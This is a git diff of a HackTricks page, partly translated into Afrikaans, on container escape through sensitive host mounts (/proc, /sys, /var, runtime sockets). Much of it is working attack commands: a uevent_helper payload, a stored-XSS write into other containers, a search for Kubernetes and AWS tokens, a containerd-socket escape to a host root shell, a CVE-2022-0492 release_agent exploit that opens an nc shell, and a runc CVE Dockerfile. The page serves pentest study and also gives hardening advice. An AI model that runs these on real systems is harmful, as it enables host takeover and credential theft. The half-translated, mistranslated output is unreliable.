Translated ['src/linux-hardening/privilege-escalation/docker-security/do

2025-10-10 18:36:50 +00:00 · 2025-07-11 02:59:09 +00:00 · 2025-07-11 02:59:09 +00:00 · 95eec834c0
commit 95eec834c0
parent 3998eed9e6
1 changed files with 148 additions and 68 deletions
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -2,7 +2,7 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Die blootstelling van `/proc`, `/sys`, en `/var` sonder behoorlike naamruimte-isolasie stel beduidende sekuriteitsrisiko's in, insluitend die vergroting van die aanvaloppervlak en inligtingsontsluiting. Hierdie gidse bevat sensitiewe lêers wat, indien verkeerd geconfigureer of deur 'n ongemagtigde gebruiker toegang verkry, kan lei tot houerontvlugting, gasheerwysiging, of inligting kan verskaf wat verdere aanvalle ondersteun. Byvoorbeeld, om `-v /proc:/host/proc` verkeerd te monteer kan AppArmor-beskerming omseil weens sy padgebaseerde aard, wat `/host/proc` onbeskermd laat.
+Die blootstelling van `/proc`, `/sys`, en `/var` sonder behoorlike naamruimte-isolasie stel beduidende sekuriteitsrisiko's in, insluitend die vergroting van die aanvaloppervlak en inligtingsontsluiting. Hierdie gidse bevat sensitiewe lêers wat, indien verkeerd geconfigureer of deur 'n onbevoegde gebruiker toegang verkry, kan lei tot houerontvlugting, gasheerwysiging, of inligting kan verskaf wat verdere aanvalle ondersteun. Byvoorbeeld, om `-v /proc:/host/proc` verkeerd te monteer kan AppArmor-beskerming omseil weens sy padgebaseerde aard, wat `/host/proc` onbeskermd laat.

 **Jy kan verdere besonderhede van elke potensiële kwesbaarheid vind in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**

@ -49,7 +49,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe

 #### **`/proc/sys/vm/panic_on_oom`**

- Verwys na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+- Verwys in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 - 'n Globale vlag wat beheer of die kern paniek of die OOM killer aanroep wanneer 'n OOM toestand voorkom.

 #### **`/proc/sys/fs`**
@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
 - **Hervatting van Gasheer Voorbeeld**:

 ```bash
-echo b > /proc/sysrq-trigger # Hervat die gasheer
+echo b > /proc/sysrq-trigger # Herlaai die gasheer
 ```

 #### **`/proc/kmsg`**
@ -88,33 +88,33 @@ echo b > /proc/sysrq-trigger # Hervat die gasheer

 #### **`/proc/kallsyms`**

- Lys kern uitgevoerde simbole en hul adresse.
+- Lys kern geëksporteerde simbole en hul adresse.
 - Essensieel vir kernuitbuiting ontwikkeling, veral om KASLR te oorkom.
 - Adresinligting is beperk met `kptr_restrict` op `1` of `2` gestel.
 - Besonderhede in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/[pid]/mem`**

- Interfereer met die kern geheue toestel `/dev/mem`.
+- Interfacing met die kern geheue toestel `/dev/mem`.
 - Histories kwesbaar vir privilige-escalasie aanvalle.
 - Meer oor [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/kcore`**

- Verteenwoordig die stelsel se fisiese geheue in ELF kern formaat.
+- Verteenwoordig die stelsel se fisiese geheue in ELF kernformaat.
 - Lees kan die gasheer stelsel en ander houers se geheue-inhoud lek.
 - Groot lêergrootte kan lei tot leesprobleme of sagteware crashes.
 - Gedetailleerde gebruik in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

 #### **`/proc/kmem`**

- Alternatiewe interfase vir `/dev/kmem`, wat kern virtuele geheue verteenwoordig.
- Laat lees en skryf toe, dus direkte verandering van kern geheue.
+- Alternatiewe interfacing vir `/dev/kmem`, wat kern virtuele geheue verteenwoordig.
+- Laat lees en skryf toe, dus direkte modifikasie van kern geheue.

 #### **`/proc/mem`**

- Alternatiewe interfase vir `/dev/mem`, wat fisiese geheue verteenwoordig.
- Laat lees en skryf toe, verandering van alle geheue vereis om virtuele na fisiese adresse op te los.
+- Alternatiewe interfacing vir `/dev/mem`, wat fisiese geheue verteenwoordig.
+- Laat lees en skryf toe, modifikasie van alle geheue vereis om virtuele na fisiese adresse op te los.

 #### **`/proc/sched_debug`**

@ -132,80 +132,88 @@ echo b > /proc/sysrq-trigger # Hervat die gasheer

 - Gebruik vir die hantering van kern toestel `uevents`.
 - Skryf na `/sys/kernel/uevent_helper` kan arbitrêre skripte uitvoer wanneer `uevent` triggers plaasvind.
- **Voorbeeld vir Uitbuiting**: %%%bash
+- **Voorbeeld vir Uitbuiting**:
+```bash

-#### Skep 'n payload
+#### Creates a payload

 echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

-#### Vind gasheer pad van OverlayFS monteer vir houer
+#### Finds host path from OverlayFS mount for container

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Stel uevent_helper na kwaadwillige helper
+#### Sets uevent_helper to malicious helper

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

-#### Trigger 'n uevent
+#### Triggers a uevent

 echo change > /sys/class/mem/null/uevent

-#### Lees die uitvoer
+#### Reads the output

-cat /output %%%
+cat /output
+```

 #### **`/sys/class/thermal`**

- Beheer temperatuurinstellings, wat moontlik DoS aanvalle of fisiese skade kan veroorsaak.
+- Controls temperature settings, potentially causing DoS attacks or physical damage.

 #### **`/sys/kernel/vmcoreinfo`**

- Lek kern adresse, wat moontlik KASLR in gevaar kan stel.
+- Leaks kernel addresses, potentially compromising KASLR.

 #### **`/sys/kernel/security`**

- Huisves `securityfs` interfase, wat konfigurasie van Linux Veiligheidsmodules soos AppArmor toelaat.
- Toegang mag 'n houer in staat stel om sy MAC stelsel te deaktiveer.
+- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
+- Access might enable a container to disable its MAC system.

-#### **`/sys/firmware/efi/vars` en `/sys/firmware/efi/efivars`**
+#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**

- Stel interfaces bloot vir interaksie met EFI veranderlikes in NVRAM.
- Misconfigurasie of uitbuiting kan lei tot gebroke skootrekenaars of onbootbare gasheer masjiene.
+- Exposes interfaces for interacting with EFI variables in NVRAM.
+- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

 #### **`/sys/kernel/debug`**

- `debugfs` bied 'n "geen reëls" debugging interfase aan die kern.
- Geskiedenis van sekuriteitskwessies weens sy onbeperkte aard.
+- `debugfs` offers a "no rules" debugging interface to the kernel.
+- History of security issues due to its unrestricted nature.

-### `/var` Kwesbaarhede
+### `/var` Vulnerabilities

-Die gasheer se **/var** gids bevat houer runtime sokke en die houers se lêerstelsels. As hierdie gids binne 'n houer gemonteer word, sal daardie houer lees-skryf toegang tot ander houers se lêerstelsels met root priviligeë kry. Dit kan misbruik word om tussen houers te pivot, om 'n ontkenning van diens te veroorsaak, of om ander houers en toepassings wat daarin loop te backdoor.
+The host's **/var** folder contains container runtime sockets and the containers' filesystems.
+If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
+with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
+containers and applications that run in them.

 #### Kubernetes

-As 'n houer soos hierdie met Kubernetes ontplooi word:
+If a container like this is deployed with Kubernetes:
+
 ```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-name: pod-mounts-var
-labels:
-app: pentest
-spec:
-containers:
- name: pod-mounts-var-folder
-image: alpine
-volumeMounts:
- mountPath: /host-var
-name: noderoot
-command: [ "/bin/sh", "-c", "--" ]
-args: [ "while true; do sleep 30; done;" ]
-volumes:
- name: noderoot
-hostPath:
-path: /var
+apiVersion: v1  
+kind: Pod  
+metadata:  
+  name: pod-mounts-var  
+  labels:  
+    app: pentest  
+spec:  
+  containers:  
+  - name: pod-mounts-var-folder  
+    image: alpine  
+    volumeMounts:  
+    - mountPath: /host-var  
+      name: noderoot  
+    command: [ "/bin/sh", "-c", "--" ]  
+    args: [ "while true; do sleep 30; done;" ]  
+  volumes:  
+  - name: noderoot  
+    hostPath:  
+      path: /var
 ```
-Binne die **pod-mounts-var-folder** houer:
+
+Inside the **pod-mounts-var-folder** container:
+
 ```bash
 / # find /host-var/ -type f -iname '*.env*' 2>/dev/null

@ -223,20 +231,22 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
 /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

-/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
-are/nginx/html/index2.html
+/ # echo '<!DOCTYPE html><html lang="af"><head><script>alert("Gestoor XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
 ```
-Die XSS is bereik:

-![Gestoorde XSS via gemonteerde /var-gids](/images/stored-xss-via-mounted-var-folder.png)
+The XSS was achieved:

-Let daarop dat die houer GEEN herstart of iets benodig nie. Enige veranderinge wat via die gemonteerde **/var**-gids gemaak word, sal onmiddellik toegepas word.
+![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

-Jy kan ook konfigurasie lêers, binêre lêers, dienste, toepassingslêers en skulpprofiele vervang om outomatiese (of semi-outomatiese) RCE te bereik.
+Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.

-##### Toegang tot wolkakkredite
+You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
+
+##### Access to cloud credentials
+
+The container can read K8s serviceaccount tokens or AWS webidentity tokens
+which allows the container to gain unauthorized access to K8s or cloud:

-Die houer kan K8s diensrekening tokens of AWS webidentiteit tokens lees wat die houer in staat stel om ongemagtigde toegang tot K8s of die wolk te verkry:
 ```bash
 / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
 /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@ -245,30 +255,100 @@ Die houer kan K8s diensrekening tokens of AWS webidentiteit tokens lees wat die
 /host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
 /host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
 ```
+
 #### Docker

-Die uitbuiting in Docker (of in Docker Compose ontplooiings) is presies dieselfde, behalwe dat die ander houers se lêerstelsels gewoonlik beskikbaar is onder 'n ander basispad:
+The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
+the other containers' filesystems are available under a different base path:
+
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
-Storage Driver: overlay2
-Docker Root Dir: /var/lib/docker
+Berging bestuurder: overlay2
+Docker wortel gids: /var/lib/docker
 ```
-So die lêerstelsels is onder `/var/lib/docker/overlay2/`:
+
+So the filesystems are under `/var/lib/docker/overlay2/`:
+
 ```bash
 $ sudo ls -la /var/lib/docker/overlay2

-drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
-drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
-drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
-drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
+drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
+drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
+drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
+drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
 <SNIP>
 ```
-#### Nota

-Die werklike paaie mag verskil in verskillende opstellings, wat is waarom jou beste kans is om die **find** opdrag te gebruik om die ander houers se lêerstelsels en SA / web identiteitstokens te lokaliseer.
+#### Note

-### Verwysings
+The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
+locate the other containers' filesystems and SA / web identity tokens

+
+
+### Other Sensitive Host Sockets and Directories (2023-2025)
+
+Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
+
+```text
+/run/containerd/containerd.sock     # containerd CRI-soket  
+/var/run/crio/crio.sock             # CRI-O runtime-soket  
+/run/podman/podman.sock             # Podman API (rootful of rootless)  
+/var/run/kubelet.sock               # Kubelet API op Kubernetes-knope  
+/run/firecracker-containerd.sock    # Kata / Firecracker
+```
+
+Attack example abusing a mounted **containerd** socket:
+
+```bash
+# binne die houer (socket is gemonteer by /host/run/containerd.sock)
+ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
+ctr --address /host/run/containerd.sock run --tty --privileged --mount \
+type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
+chroot /host /bin/bash   # volle root shell op die gasheer
+```
+
+A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
+
+Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
+
+```bash
+# aanneem dat die houer CAP_SYS_ADMIN het en 'n kwesbare kern
+mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
+
+echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # vereis CVE-2022-0492
+
+echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
+sh -c "echo 0 > /tmp/x/cgroup.procs"  # aktiveer die leë-groep gebeurtenis
+```
+
+When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
+
+### Mount-Related Escape CVEs (2023-2025)
+
+* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
+runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
+
+```Dockerfile
+FROM scratch
+WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
+CMD ["/bin/sh"]
+```
+
+* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
+A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
+
+### Hardening Reminders (2025)
+
+1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
+2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
+3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
+4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
+
+### References
+
+- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
+- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
 - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
 - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
 - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)